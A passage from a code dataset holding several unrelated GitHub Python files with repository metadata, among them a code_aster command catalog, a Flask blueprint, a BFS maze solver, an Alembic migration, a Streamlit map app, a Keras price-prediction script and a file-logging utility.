table_sdaster)\n combination_type = args.get(\"TYPE_COMB\")\n if combination_type == \"RESULTAT\":\n return mult_elas\n elif combination_type == \"TABLE\":\n return table_sdaster\n\n\nPOST_COMBINAISON = MACRO(\n nom=\"POST_COMBINAISON\",\n op=OPS(\"code_aster.MacroCommands.post_combinaison_ops.post_combinaison_ops\"),\n sd_prod=post_combinaison_prod,\n fr=tr(\"Combinaison de grandeurs physiques issues de différents calculs mécaniques\"),\n TABLE_COEF=SIMP(statut=\"o\", typ=table_sdaster),\n TABLE_COEF_RESU=SIMP(statut=\"f\", typ=CO, defaut=None),\n TYPE_COMB=SIMP(statut=\"o\", typ=\"TXM\", into=(\"TABLE\", \"RESULTAT\")),\n b_resultats=BLOC(\n condition=\"equal_to('TYPE_COMB', 'RESULTAT')\",\n regles=(PRESENT_ABSENT(\"TOUT\", \"GROUP_MA\", \"GROUP_NO\"),),\n TOUT=SIMP(statut=\"f\", typ=\"TXM\", into=(\"OUI\",)),\n GROUP_MA=SIMP(statut=\"f\", typ=grma, max=\"**\", validators=NoRepeat()),\n GROUP_NO=SIMP(statut=\"f\", typ=grno, max=\"**\", validators=NoRepeat()),\n MODELE=SIMP(statut=\"o\", typ=modele_sdaster, fr=tr(\"Modèle support en sortie\")),\n NOM_CHAM=SIMP(statut=\"f\", typ=\"TXM\", fr=tr(\"Nom du champ à combiner\"), max=\"**\"),\n AFFE=FACT(\n statut=\"o\",\n max=\"**\",\n NOM_CAS=SIMP(statut=\"o\", typ=\"TXM\"),\n RESULTAT=SIMP(\n statut=\"o\",\n typ=(mult_elas, evol_elas, mode_meca),\n fr=tr(\"Renseignement d'un résultat\"),\n ),\n ),\n ),\n b_tables=BLOC(\n condition=\"equal_to('TYPE_COMB', 'TABLE')\",\n FILTRE=FACT(\n statut=\"f\",\n max=\"**\",\n NOM_PARA=SIMP(statut=\"o\", typ=\"TXM\"),\n CRIT_COMP=SIMP(\n statut=\"f\",\n typ=\"TXM\",\n defaut=\"EQ\",\n into=(\n \"EQ\",\n \"LT\",\n \"GT\",\n \"NE\",\n \"LE\",\n \"GE\",\n \"VIDE\",\n \"NON_VIDE\",\n \"MAXI\",\n \"MAXI_ABS\",\n \"MINI\",\n \"MINI_ABS\",\n ),\n ),\n b_vale=BLOC(\n condition=\"\"\"(is_in(\"CRIT_COMP\", ('EQ','NE','GT','LT','GE','LE')))\"\"\",\n regles=(UN_PARMI(\"VALE\", \"VALE_I\", \"VALE_K\", \"VALE_C\"),),\n VALE=SIMP(statut=\"f\", typ=\"R\"),\n VALE_I=SIMP(statut=\"f\", typ=\"I\"),\n VALE_C=SIMP(statut=\"f\", typ=\"C\"),\n VALE_K=SIMP(statut=\"f\", typ=\"TXM\", max=\"**\"),\n CRITERE=SIMP(statut=\"f\", typ=\"TXM\", defaut=\"RELATIF\", into=(\"RELATIF\", \"ABSOLU\")),\n PRECISION=SIMP(statut=\"f\", typ=\"R\", defaut=1.0e-3),\n ),\n ),\n AFFE=FACT(\n statut=\"o\",\n max=\"**\",\n NOM_CAS=SIMP(statut=\"o\", typ=\"TXM\"),\n TABLE=SIMP(statut=\"o\", typ=table_sdaster, fr=tr(\"Renseignement d'une table\")),\n ),\n ),\n)\n","repo_name":"Krande/code-aster-copy","sub_path":"code_aster/Cata/Commands/post_combinaison.py","file_name":"post_combinaison.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21812523267","text":"# encoding: utf-8\n'''\n@author: tracerboy\n@contact: tracerboy@163.com\n@application:\n@time: 2022/11/29 12:01\n'''\nimport json\nfrom functools import wraps\n\nfrom flask import Blueprint, request, session, redirect, jsonify\nfrom utils import qurry_for_data, qurry_for_result\n\ncall_opt = Blueprint('call_opt', __name__)\n\ndef is_login(func):\n @wraps(func)\n def check_login(*args, **kwargs):\n if 'username' in session:\n return func(*args, **kwargs)\n else:\n return jsonify({\"msg\":\"登录状态失效\",\"code\":\"-1\",\"url\":\"/\"})\n return check_login\n\n\n@call_opt.route('/materialshow', methods=['GET','POST'])\n@is_login\ndef materialshow():\n res = qurry_for_data(f\"select * from `material`\")\n return jsonify({\"msg\": \"查询成功\", \"code\": \"0\",\"data\":res})\n\n@call_opt.route('/shelvesshow', methods=['GET','POST'])\n@is_login\ndef shelvesshow():\n res = qurry_for_data(f\"select * from `shelves`\")\n return jsonify({\"msg\": \"查询成功\", \"code\": \"0\",\"data\":res})\n\n","repo_name":"tjTornado/flask_siteT40","sub_path":"CallController.py","file_name":"CallController.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24339821216","text":"# Type your code here\ndef my_final_grade_calculation(filename):\n # Make a connection to the file\n file_pointer = open('final grades.txt','r')\n # You can use either .read() or .readline() or .readlines()\n data = file_pointer.readlines()\n my_dict = {}\n quiz = []\n assigment = []\n\n for line in data:\n name, q1, q2, q3, q4, q5, q6, a1, a2, a3, a4, midterm, final = line.strip().split(',')\n quiz = [int(q1), int(q2), int(q3), int(q4), int(q5), int(q6)]\n quiz.sort()\n quizz = quiz[2:]\n avg_quiz = sum(quizz) / len(quizz)\n\n assigment = [int(a1), int(a2), int(a3), int(a4)]\n assigment.sort()\n assigmentt = assigment[2:]\n avg_assigment = sum(assigmentt) / len(assigmentt)\n\n total = [avg_quiz, avg_assigment, int(midterm), int(final)]\n total_avg = sum(total) / len(total)\n\n if total_avg >= 60:\n my_dict[name] = \"pass\"\n else:\n my_dict[name] = \"fail\"\n return my_dict\n\n\n\n\n\nprint(my_final_grade_calculation('file_name'))\n\n\n\n\n\n","repo_name":"Gsopel/Edx-UTArlingtonX","sub_path":"Final_grade.py","file_name":"Final_grade.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12577610784","text":"# 미로 탐색\n\nimport sys\nfrom collections import deque\n\nn, m = map(int, sys.stdin.readline().split())\nmap = [list(sys.stdin.readline()) for _ in range(n)]\ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\nq = deque()\nvisited = [[False] * m for _ in range(n)]\ndist = [[0] * m for _ in range(n)]\nvisited[0][0] = True\ndist[0][0] = 1\nq.append((0, 0))\n\nwhile q:\n x, y = q.popleft()\n for i in range(4):\n nx, ny = x + dx[i], y + dy[i]\n if 0 <= nx < n and 0 <= ny < m:\n if not visited[nx][ny] and map[nx][ny] == '1':\n q.append((nx, ny))\n dist[nx][ny] = dist[x][y] + 1\n visited[nx][ny] = True\n\nprint(dist[n - 1][m - 1])\n","repo_name":"haremeat/Algorithm","sub_path":"boj/2178.py","file_name":"2178.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69948654632","text":"\"\"\"empty message\n\nRevision ID: 9f2a481b68bd\nRevises: 31fead39d1e5\nCreate Date: 2020-01-24 17:30:43.792815\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9f2a481b68bd'\ndown_revision = '31fead39d1e5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('conclave_rules',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('date_created', sa.DateTime(), nullable=True),\n sa.Column('date_modified', sa.DateTime(), nullable=True),\n sa.Column('type', sa.String(length=80), nullable=False),\n sa.Column('name', sa.String(length=80), nullable=False),\n sa.Column('description', sa.Text(), nullable=False),\n sa.Column('level1', sa.Integer(), nullable=False),\n sa.Column('level2', sa.Integer(), nullable=False),\n sa.Column('level3', sa.Integer(), nullable=False),\n sa.Column('notes', sa.Text(), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table('tournament_admins',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('date_created', sa.DateTime(), nullable=True),\n sa.Column('date_modified', sa.DateTime(), nullable=True),\n sa.Column('name', sa.String(length=80), nullable=False),\n sa.Column('region', sa.String(length=255), nullable=False),\n sa.Column('load', sa.Integer(), nullable=False),\n sa.Column('tournament_types', sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('tournament_rooms',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('date_created', sa.DateTime(), nullable=True),\n sa.Column('date_modified', sa.DateTime(), nullable=True),\n sa.Column('name', sa.String(length=80), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('tournament_sponsors',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('date_created', sa.DateTime(), nullable=True),\n sa.Column('date_modified', sa.DateTime(), nullable=True),\n sa.Column('name', sa.String(length=80), nullable=False),\n sa.Column('effect', sa.Text(), nullable=False),\n sa.Column('skill_pack_granted', sa.String(length=255), nullable=True),\n sa.Column('special_rules', sa.Text(), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('tournaments', sa.Column('consecration', sa.String(length=80), nullable=True))\n op.add_column('tournaments', sa.Column('corruption', sa.String(length=80), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('tournaments', 'corruption')\n op.drop_column('tournaments', 'consecration')\n op.drop_table('tournament_sponsors')\n op.drop_table('tournament_rooms')\n op.drop_table('tournament_admins')\n op.drop_table('conclave_rules')\n # ### end Alembic commands ###\n","repo_name":"ttrnecka/imperium","sub_path":"migrations/versions/9f2a481b68bd_.py","file_name":"9f2a481b68bd_.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"9140503641","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport folium\nfrom folium.plugins import Draw\nfrom streamlit_folium import st_folium\nimport matplotlib.pyplot as plt\nimport japanize_matplotlib\nfrom PIL import Image\n\nst.set_page_config(layout=\"wide\")\n\n\ndf = pd.read_csv(\"./data/df.csv\")\n\n\n@st.cache_data\ndef plot_chart(city: str):\n N = 40\n bottom = 1\n width = (2 * np.pi) / N\n theta = np.linspace(0.0, 2 * np.pi, N, endpoint=False)\n fig, ax = plt.subplots(1, 1, figsize=(3, 3), subplot_kw={\"projection\": \"polar\"})\n\n # prepare data\n radii = np.array(\n [float(t) for t in df.query(\"name==@city\")[\"radii\"].values[0][1:-1].split(\",\")]\n )\n # plot\n ax.set_title(city)\n bars = ax.bar(theta, radii, width=width, bottom=bottom)\n\n # x-labels setting\n ax.set_xlim([-np.pi, np.pi])\n ax.set_xticks(np.linspace(-np.pi, np.pi, 9)[1:])\n ax.set_xticklabels(\n [\n \"SW\",\n \"W\",\n \"NW\",\n \"N\",\n \"NE\",\n \"E\",\n \"SE\",\n \"S\",\n ]\n )\n ax.set_theta_direction(-1)\n ax.set_theta_zero_location(\"N\")\n\n # y-label setting\n ax.set_yticklabels([])\n\n # Use custom colors and opacity\n for r, bar in zip(radii, bars):\n bar.set_facecolor(plt.cm.jet(r / 10))\n bar.set_alpha(0.8)\n return fig\n\n\nst.markdown('緑のアイコンをクリックすると、区の建物の\"エントロピー\"を計算して表示します')\n\nleft, right = st.columns([2, 1])\nwith left:\n m = folium.Map(\n location=[35.658581, 139.745433],\n zoom_start=13,\n tiles=\"cartodbpositron\",\n )\n Draw(export=True).add_to(m)\n fg = folium.FeatureGroup(name=\"23ku\")\n DATA_URL = \"https://raw.githubusercontent.com/niiyz/JapanCityGeoJson/master/geojson/custom/tokyo23.json\"\n folium.Choropleth(\n geo_data=DATA_URL,\n data=df,\n columns=[\"code\", \"entropy\"],\n key_on=\"properties.N03_007\",\n fill_opacity=0.4,\n line_opacity=0.7,\n line_color=\"black\",\n fill_color=\"OrRd\",\n legend_name=\"建物のエントロピー\",\n ).add_to(m)\n\n for row in df.itertuples():\n fg.add_child(\n folium.Marker(\n location=[row.lat, row.lon],\n tooltip=f\"{row.name}\",\n icon=folium.Icon(color=\"green\"),\n )\n )\n\n map_output = st_folium(\n m,\n feature_group_to_add=fg,\n returned_objects=\"last_object_clicked_tooltip\",\n width=1200,\n height=800,\n )\n\nwith right:\n city = map_output[\"last_object_clicked_tooltip\"] or \"東京都港区\"\n st.pyplot(plot_chart(city))\n\n\ns = \"\"\"---\n## これなに?\nref: [PLATEAUから街の構造を見る](https://www.estie.jp/blog/entry/2022/08/10/110801)\n\nGeoff Boeingさんの研究に[”Urban spatial order: street network orientation, configuration, and entropy”](https://appliednetsci.springeropen.com/articles/10.1007/s41109-019-0189-1)というものがあります。\nこれは、道路の方角や長さを街ごとに集計することで、その街の特性がわかるという研究です。\n\n### 集計方法\n#### 1. PLATEAUのbuildingデータを読み込む\n- 具体的には、東京都データのうち bldg のlod0RoofEdgeのデータ(上空から見た建物の形)を読み込みます。\n#### 2. ビルを単純化する\n- たとえば、こういうビルがあります。(PLATEAUの建物ID: 13107-bldg-18762)\n\"\"\"\n\ns1 = \"\"\"- そのビルを含む四角形に単純化します。\"\"\"\n\ns2 = \"\"\"\n- 具体的には、shapelyの minimum_rotated_rectangleを使用しました。\n\n#### 3. 四角形の全ての辺の角度(方角)、長さを計算する\n- NumPyでやりました。\n#### 4. 方角をヒストグラムで集計する\n- この時、辺の長さで重み付けしました。大きい建物は、街の印象に対する影響が大きいと思ったためです。\n- NumPyでやりました。\n\n\"\"\"\nst.markdown(s)\nst.image(Image.open(\"data/raw.png\"), width=100)\nst.markdown(s1)\nst.image(Image.open(\"data/mrr.png\"), width=100)\nst.markdown(s2)\n","repo_name":"johntronik/building_distribution_viewer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26881874002","text":"import csv\r\nimport re\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nimport tensorflow as tf\r\nimport random\r\n\r\nexpected_accuracy = 0.998\r\n\r\nclass myCallBack(tf.keras.callbacks.Callback):\r\n def on_epoch_end(self, epoch, log={}):\r\n if(log.get('acc')>expected_accuracy):\r\n print('\\nReached ',expected_accuracy*100,'accuracy, so cancelling training!' )\r\n self.model.stop_training = True\r\n\r\ndef importdata(reader_object):\r\n dataset = []\r\n\r\n for idx, varname in enumerate(reader_object):\r\n if idx == 0:\r\n varnames = varname\r\n else:\r\n dataset.append(varname)\r\n\r\n return varnames, dataset\r\n\r\ndef get_data_normalization(data):\r\n vol_mean = np.mean(data)\r\n vol_std = np.std(data)\r\n # normalization\r\n data = [\r\n (cur_vol - vol_mean) / vol_std\r\n for cur_vol in data\r\n ]\r\n return data\r\n\r\ndef push_data_into_var(dataset, varname):\r\n data = [\r\n float(voldata[var_names.index(varname)])\r\n for voldata in dataset\r\n ]\r\n return data\r\n\r\ndef convert_to_tensor(arg):\r\n\r\n arg = tf.convert_to_tensor(arg, dtype=tf.float32)\r\n return tf.matmul(arg, arg) + arg\r\n\r\n\r\nwith open('Сбербанк [Price].txt', 'rt') as f:\r\n reader = csv.reader(f, delimiter=',', skipinitialspace=True, )\r\n\r\n [var_names, dataset] = importdata(reader)\r\n\r\n # removing characters from parrametr names\r\n chars_for_remove = \"\\<|\\>\"\r\n var_names = [\r\n re.sub(chars_for_remove, '', var)\r\n for var in var_names\r\n ]\r\n\r\n # lower case\r\n var_names = [var.lower() for var in var_names]\r\n\r\n # push rates volume data into variable\r\n open_price = push_data_into_var(dataset, \"open\")\r\n close = push_data_into_var(dataset, \"close\")\r\n high = push_data_into_var(dataset, \"high\")\r\n low = push_data_into_var(dataset, \"low\")\r\n vol = push_data_into_var(dataset, \"vol\")\r\n\r\n open_price = get_data_normalization(open_price)\r\n close = get_data_normalization(close)\r\n high = get_data_normalization(high)\r\n low = get_data_normalization(low)\r\n vol = get_data_normalization(vol)\r\n\r\n #create dataset for nn\r\n length = len(open_price)\r\n\r\n dataset = [\r\n open_price,\r\n close,\r\n high,\r\n low,\r\n vol\r\n ]\r\n for idx, var in enumerate(dataset):\r\n res = var.copy()\r\n del res[length-1]\r\n dataset[idx] = res\r\n\r\n #create answers for nn\r\n\r\n answers = [\r\n open_price,\r\n close,\r\n high,\r\n low,\r\n vol\r\n ]\r\n for idx, var in enumerate(answers):\r\n del var[0]\r\n answers[idx] = var\r\n\r\n #separate datasets to training set and test set\r\n dataset = np.array(dataset).transpose()\r\n answers = np.array(answers).transpose()\r\n\r\n dataset = tf.data.Dataset.from_tensor_slices((dataset, answers))\r\n\r\n\r\n #dataset = convert_to_tensor(dataset)\r\n print(dataset)\r\n\r\n # answers = convert_to_tensor(answers)\r\n\r\n X_train, X_test, y_train, y_test = train_test_split(\r\n dataset, answers, test_size = 0.2, random_state = 38)\r\n\r\n callbacks = myCallBack()\r\n\r\n model = tf.keras.models.Sequential([\r\n tf.keras.layers.InputLayer(input_shape=(5,), batch_size=5),\r\n tf.keras.layers.Dense(512, activation='relu'),\r\n tf.keras.layers.Dense(5, activation='sigmoid')\r\n ])\r\n model.compile(optimizer='adam',\r\n loss='sparse_categorical_crossentropy',\r\n metrics=['accuracy'])\r\n model.fit(X_train, y_train, epochs=20, callbacks=[callbacks],batch_size=5)\r\n test_loss, test_acc = model.evaluate(X_test, y_test)\r\n\r\n print(test_acc)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"olegal87/Oleg_Galimov","sub_path":"TraidongDNN.py","file_name":"TraidongDNN.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22830865717","text":"#!/usr/bin/env python3\nimport os\nfrom tornado import options as opts\nimport tokit\n\ndef main():\n opts.define('host', default='::1')\n opts.define('port', default='9000')\n opts.define('env', default=None)\n opts.parse_command_line()\n\n config = tokit.Config(__file__)\n config.set_env(opts.options.env)\n\n tokit.install_asyncio()\n tokit.start(opts.options.host, opts.options.port, config)\n\nif __name__ == '__main__':\n main()\n","repo_name":"manhg/tokit","sub_path":"example/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"42819023698","text":"'''\tWrite a Python program to accept a string and display the resultant string in reverse order . \nThe resultant string should contain all characters at the even position of accepted string ignoring blank spaces.\nAccepted string: Anappleadaykeepsthedoctoraway\nResultant string: Aapedyepteotrwy\nExpected_output: ywrtoetpeydepaA'''\ndef reverse(s):\n\tstr = \"\"\n\tfor i in s:\n\t\tstr = i + str\n\treturn str\n\ns = \"Aapedyepteotrwy\"\n\nprint(\"The original string is : \", end=\"\")\nprint(s)\n\nprint(\"The reversed string is : \", end=\"\")\nprint(reverse(s))\n","repo_name":"ishita0302/Python-programming","sub_path":"Case study 3.py","file_name":"Case study 3.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4961585770","text":"with open(\"input.txt\") as f:\n fc = f.read()\n\n\ndef prio(e):\n if e.islower():\n prio = ord(e) - ord(\"a\") + 1\n else:\n prio = ord(e) - ord(\"A\") + 27\n return prio\n\n\ndef go(usecase):\n n = len(usecase)\n b1 = usecase[: n // 2]\n b2 = usecase[n // 2 :]\n elems = list(set([e for e in b1 if e in b2]))\n assert len(elems) == 1\n # assert len(elems) == 2 and elems[0] == elems[1]\n return prio(elems[0])\n\n\nusecases = [uc.strip() for uc in fc.splitlines()]\nsols = [go(u) for u in usecases]\nprint(sols)\nprint(sum(sols))\n","repo_name":"apaolillo/adventofcode","sub_path":"2022/day03/run-a.py","file_name":"run-a.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"42904008959","text":"import openpyxl\n#file = open()\nwb = openpyxl.load_workbook('D:\\Python\\Ash.xlsx')\nsheet = wb.get_sheet_names()\nwb1 = wb.get_active_sheet\n\nprint(wb)\n\nlistofrow = []\n\nfor items in listofrow:\n data =[sheet.cell_valur(items,col) for col in range(sheet.ncols)] #[sheet.cell_value(items,col) for col in range(sheet.ncols)]\n listofrow.append(data)\n\nprint(listofrow)\n","repo_name":"Gash7/VirtualEnv","sub_path":"Enve.py","file_name":"Enve.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22264760685","text":"import os\n\n\npy_dir, tex_dir = '../../py', '../../tex_BA'\nchar_count, word_count = 0, 0\n\ndef foo(dir_path):\n\n for i in os.listdir(dir_path):\n file_path = os.path.join(dir_path, i)\n\n if os.path.isdir(file_path):\n foo(file_path)\n if file_path.endswith('__pycache__') or file_path.endswith('.ipynb_checkpoints'):\n continue\n print(file_path)\n elif os.path.isfile(file_path):\n if not (file_path.endswith('.py') or file_path.endswith('.tex')):\n continue\n print(file_path)\n with open(file_path) as fp:\n content = fp.readlines()\n global char_count\n global word_count\n char_count += len(' '.join(content))\n word_count += len(' '.join(content).split(' '))\n\n\nfor dir_path in [py_dir, tex_dir]:\n foo(dir_path)\n\nprint(char_count, word_count)\n","repo_name":"vincentmader/bsc-thesis","sub_path":"src/various/chars_written.py","file_name":"chars_written.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74428020393","text":"# -*- encoding: utf-8 -*-\n#!/Library/Frameworks/Python.framework/Versions/3.4/bin/python3q\ntry:\n # IMPORT MODULS\n # default moduls\n import os\n import time, datetime\n from random import randint\n import sys\n # custom moduls\n myfolder = os.path.dirname(os.path.abspath(__file__))\n sys.path.append(myfolder)\n import Loggerlib\nexcept Exception as e:\n print(\"IMPORT EXCEPTION!!! \" + str(__name__) + \"\\n\" + str(e))\n\n# get source path parent's folder parent's folder\nsource_dirname = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nprePath = source_dirname + '/DataBase/'\nfileExtension = '.txt'\nsensorsFilePath = [prePath + 'Watertemp' + fileExtension, \\\n prePath + 'Airtemp' + fileExtension, \\\n prePath + 'Humidity' + fileExtension, \\\n prePath + 'PH' + fileExtension, \\\n prePath + 'EC' + fileExtension, \\\n prePath + 'Light' + fileExtension, \\\n prePath + 'Waterlvl' + fileExtension, \\\n prePath + 'DataBaseSize' + fileExtension\n ]\n\nclass FileHandling():\n \"\"\" BASIC SECURE FILE READINGS AND WRITINGS \"\"\"\n\n def __init__(self, path):\n if os.path.exists(path):\n self.path = path\n self.content = \"\"\n self.isEnable = True\n else:\n Loggerlib.DataLog.logger.critical(path + \" IS NOT EXIST!\")\n self.isEnable = False\n #TODO make the file.... -> self.isEnable = Frue\n self.CreateFile(path)\n self.__init__(path)\n\n def CreateFile(self, path):\n with open(path, 'w+') as newfile:\n Loggerlib.DataLog.logger.info(\"Create path: \" + str(path) + str(newfile))\n return True\n\n def ReadFile(self, lastx=None):\n if self.isEnable == True:\n if lastx == None:\n with open(self.path, 'r') as file: #automaticly open and close the file after this function (safe!)\n try:\n self.content = file.read()\n return self.content\n\n except ValueError:\n return False\n else:\n cmd = \"tail -n \" + str(lastx) + \" \" + str(self.path)\n self.content = os.popen(cmd).read()\n return self.content\n\n def WriteFile(self, data, mode='a'): #default mode is append 'a', but 'w' for rewrite file\n if self.isEnable == True:\n self.data = data\n if os.path.exists(self.path) and self.data != None:\n with open(self.path, mode) as file:\n file.write(self.data)\n return True\n else:\n return False\n\n def GetFilePath(self):\n #print(self.path)\n return self.path\n\nclass DataManager(FileHandling):\n \"\"\" DATA HANDLING IN FILES WITH TIMESTAMP \"\"\"\n\n def __init__(self, path):\n FileHandling.__init__(self, path)\n\n def AddData_WithTimestamp(self, data, mode = 'a'):\n if self.isEnable == True:\n ts = self.TimeStamp()\n self.WriteFile(str(ts[0]) + \"\\t\" + str(data) + \"\\n\", mode)\n else:\n return False\n\n def AddList_WithTimestamp(self, *stack, mode = 'a'):\n if self.isEnable == True:\n for data in stack:\n self.AddData_WithTimestamp(data, mode)\n Loggerlib.DataLog.logger.info(str(stack) + \" added successfully mode: \" + str(mode))\n\n def ReadData_ToDict(self, lastX=None):\n if self.isEnable == True:\n self.dataDict={}\n indexdict=0\n data_str = self.ReadFile(lastX)\n dataList = data_str.split()\n for index in range(len(dataList)-1, 0, -2):\n self.dataDict[indexdict, 'timestamp'] = dataList[index-1]\n self.dataDict[indexdict, 'value'] = dataList[index]\n indexdict+=1\n\n # CALCULATE DICT LENGHT\n self.dictLenght = int((len(self.dataDict)/2 + 1))\n # RETURN DICTIONRY \"INDEX 0\" - MOST RELEVANT ELEMENT, FRESHEST\n return self.dataDict\n else:\n return False\n\n def GetDictLenght(self):\n return self.dictLenght\n\n @classmethod\n def TimeStamp(self):\n self.timeInSec = round(time.time(), 4) #cut 4 digit\n self.timeInFormat = datetime.datetime.fromtimestamp(self.timeInSec).strftime('%Y-%m-%d %H:%M:%S')\n return self.timeInSec, self.timeInFormat\n\n\ndef InitDataFiles():\n\n fileObjectsList = []\n for actualPath in sensorsFilePath:\n fileObjectsList.append(DataManager(actualPath))\n return fileObjectsList\n\n\n# ---------------------------------- USAGE --------------------------------------#\nif __name__ == \"__main__\":\n\n fileList = InitDataFiles()\n print(fileList)\n\n '''\n # CREATE SENSOR LIST OBJECTS\n fileObjectsList=[]\n for actualPath in sensorsFilePath:\n fileObjectsList.append(DataManager(actualPath))\n\n\n # Make random data for testing\n print(\"START SENSORS RANDOM DATA GENERATING...\")\n for i in range(0,len(sensorsFilePath)):\n # Test data generations\n for d in range(0, 100):\n fileObjectsList[i].AddData_WithTimestamp(randint(10, 100))\n\n print(\"Last 10 data from: \" + str(sensorsFilePath[i]) + \" listid: \" + str(i))\n datas = fileObjectsList[i].ReadData_ToDict(2)\n print(datas)\n\n d = DataManager(\"text.txt\")\n\n d.AddData_WithTimestamp(randint(1, 20))\n #dataDict = d.ReadData_ToDict() #return full file in dicet\n dataDict = d.ReadData_ToDict(1) #return last x lines in dict\n\n for index in range(0, (d.GetDictLenght())-1 ):\n print(\"index: \" + str(index) + \" timestamp: \" + dataDict[index, 'timestamp'] + \"\\tvalue: \" + dataDict[index, 'value'])\n\n stack = [1, 2, 3, 4, 5, 6, 7]\n d.AddList_WithTimestamp(*stack, mode='a')\n '''\n\n\n\n\n","repo_name":"BxNxM/HcSMeasurement","sub_path":"moduls/DATAlib.py","file_name":"DATAlib.py","file_ext":"py","file_size_in_byte":5991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74529772692","text":"import shutil\r\nimport glob\r\n\r\ndef fileConcat(outfilename,pathInput):\r\n\tread_files = glob.glob(pathInput)\r\n\twith open(outfilename, \"wb\") as outfile:\r\n\t\t# for f in read_files:\r\n\t\t# \twith open(f, \"rb\") as infile:\r\n\t\t# \t\tprint infile.read()\r\n\t\tfor f in read_files:\r\n\t\t\twith open(f, \"rb\") as infile:\r\n\t\t\t\toutfile.write(infile.read())\r\n\r\ndef main():\r\n\tfileConcat('pos_true.csv','op_spam_v1.4/positive_polarity/truthful_from_TripAdvisor/**/*.txt')\r\n\tfileConcat('pos_fake.csv','op_spam_v1.4/positive_polarity/deceptive_from_MTurk/**/*.txt')\r\n\tfileConcat('neg_true.csv','op_spam_v1.4/negative_polarity/truthful_from_Web/**/*.txt')\r\n\tfileConcat('neg_fake.csv','op_spam_v1.4/negative_polarity/deceptive_from_MTurk/**/*.txt')\r\n\t\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"alex-chirayath/Machine-Learning","sub_path":"fake_reviews_detection/file_concat.py","file_name":"file_concat.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"5360386280","text":"import pickle\nimport glob\nimport numpy as np\nimport netCDF4 as nc\nfrom xml.dom import minidom\nfrom scipy.stats import variation \ntry:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n nranks =comm.size\n isParallel = True\nexcept:\n rank = 0\n nranks = 1\n isParallel = False\n\nprint(\"Init ...\", flush=True)\nprint(isParallel, flush=True)\n#get all nc paths\nfilenames = glob.glob('/g100_scratch/userexternal/gocchipi/BFM_TOTAL/*/*.nc')\nfilenames.sort(key=lambda x: int(''.join(filter(str.isdigit, x)))) #sort by number\n\nindexes = np.zeros(len(filenames))\nfor iv,var in enumerate(filenames):\n indexes[iv] = int(var.rsplit('/')[-2])\n\n#interested variables names\nvarnames = [\"B1_c\",\"P1_c\",\"P2_c\",\"P3_c\",\"P4_c\",\"Z5_c\",\"Z6_c\",\"Z3_c\",\"Z4_c\"]\n#get the cycling simulation for small N1p\n\npknamein = \"bfm_sensitivity_total.pickle\"\npknameout = 'bfm_sensitivity_total_script.pickle'\ninfile = open(pknamein,'rb')\nnew_dictin = pickle.load(infile)\ninfile.close()\ninputs = new_dictin.get('X')\ninfile = open(pknameout,'rb')\nnew_dictout = pickle.load(infile)\ninfile.close()\noutputs = new_dictout.get('Y')\noutputs = outputs.tolist()\n#restrict inputs to the existing directories\ninputs = [inputs[int(i)] for i in indexes]\n#get target names\n\nmydoc = minidom.parse('bfm_sensitivity.xml')\ntarget = []\nitems = mydoc.getElementsByTagName('target')\nfor i in range(len(items)):\n string = items[i].attributes['name'].value\n target.append(string)\n\n#remove 05 03c 03h R3c\nkeyo2 = 'O2_o'\nkey = 